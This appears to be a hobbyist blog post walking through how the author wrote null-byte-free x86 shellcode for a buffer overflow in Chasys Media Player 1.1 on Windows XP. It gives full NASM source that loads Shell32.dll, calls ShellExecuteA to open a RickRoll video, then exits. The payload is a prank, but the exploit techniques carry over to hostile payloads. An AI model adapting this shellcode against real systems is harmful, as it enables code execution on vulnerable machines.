I was sitting in the lab the other day ~socializing~ with other students and we all agreed it was sad that there was no shellcode out there that would open a RickRoll. Making one seemed like a good way to procrastinate from preparing a talk on privacy while learning how to write shellcodes and the challenge was accepted. The application to have fun with was Chasys Media Player 1.1 on Windows XP SP3, no DEP or ASLR.
I tested a few ideas on how to open a RickRoll efficiently and it seemed like WinAPI ShellExecuteA was the perfect tool for the job: when called with “open” operation and a URL it opens the URL with the default browser. Now, that function resides inside
Shell32.dll, which may not always be present in memory. This meant that it had to be loaded with
LoadLibraryA and the function needed to be retrieved with
GetProcAddress from kernel32.dll.
Strings and Null Bytes
At this point I knew I needed 4 strings in the shellcode: “Shell32.dll”, “ShellExecuteA”, “open” and the URL for the RickRoll, “http://www.youtube.com/watch?v=oHg5SJYRHA0”. That was 4 null-bytes already that would have to somehow be put into the shellcode.
db "Shell32.dll",0xFF db "ShellExecuteA",0xFF db "open",0xFF db "http://www.youtube.com/watch?v=oHg5SJYRHA0",0xFF
Another source of null bytes would be function addresses in the target’s IAT. Maybe there are better ways of calling WinAPI functions from the shellcode, but I wanted to learn without reading any guides and this was the first idea that came to my mind.
call dword [0xFF41907C] ; LoadLibraryA call dword [0xFF419124] ; GetProcAddress call dword [0xFF4190E4] ; ExitProcess
To deal with these two first sources I decided to set
EAX to zero through XORing it and then to copy the
AL value to the locations in the shellcode that needed to be null bytes, while replacing nulls with
0xFF in the shellcode that gets written on the stack.
; set nullbytes xor eax,eax ; 3 in code mov [ebp-7Ch],al mov [ebp-6Fh],al mov [ebp-4Fh],al ; 4 in data mov [ebp-43h],al mov [ebp-35h],al mov [ebp-30h],al mov [ebp-05h],al
To be able to address these locations relatively I saved
ESP value to
EBP at the very beginning of my shellcode, expecting it to point at the address right after my jump to the shellcode.
; save esp for relative addressing mov ebp,esp
More null bytes would come from parameters passed to the functions: some of them had to be nulls. This was easier to work around as I could just set any register to zero and then push it on the stack.
The broken stack presented another issue. Because it would be pointing at an address larger than where my shellcode would be, the shellcode would get overwritten in every function call. To fix this I simply had to subtract the length of my buffer from
ESP. The trick was not to use more null bytes, because the value I needed to subtract was bigger than
0x7F and would need to be padded with zeroes. I decided to subtract a byte value a couple times:
0x7F + 0x7F + 0x06 would be enough.
; fix stack sub esp,7Fh sub esp,7Fh sub esp,06h
Here is the resulting NASM source:
main: [BITS 32] ; Chasys Media Player 1.1 Rick Overflow ; by @panda_sauce ; this will crash if you run it on its own, thats intended ; save esp for relative addressing mov ebp,esp ; fix stack sub esp,7Fh sub esp,7Fh sub esp,06h ; set nullbytes xor eax,eax ; 3 in code mov [ebp-7Ch],al mov [ebp-6Fh],al mov [ebp-4Fh],al ; 4 in data mov [ebp-43h],al mov [ebp-35h],al mov [ebp-30h],al mov [ebp-05h],al ; point at params correctly mov ebx,ebp sub ebx,4Eh push ebx ; push offset Shell32.dll call dword [0xFF41907C] ; LoadLibraryA mov ebx,ebp sub ebx,42h push ebx ; push offset ShellExecuteA push eax call dword [0xFF419124] ; GetProcAddress push 1 xor ecx,ecx ; killing null bytes push ecx push ecx mov ebx,ebp sub ebx,2Fh push ebx ; push offset http://www.youtube.com/watch?v=oHg5SJYRHA0 mov ebx,ebp sub ebx,34h push ebx ; push offset open xor ecx,ecx push ecx call eax ; ShellExecuteA xor ecx,ecx push ecx call dword [0xFF4190E4] ; ExitProcess db "Shell32.dll",0xFF db "ShellExecuteA",0xFF db "open",0xFF db "http://www.youtube.com/watch?v=oHg5SJYRHA0",0xFF
If you want it to work on a different application you want to make sure the IAT pointers are correct. Please don’t forget to put credit where its due if you use this shellcode 🙂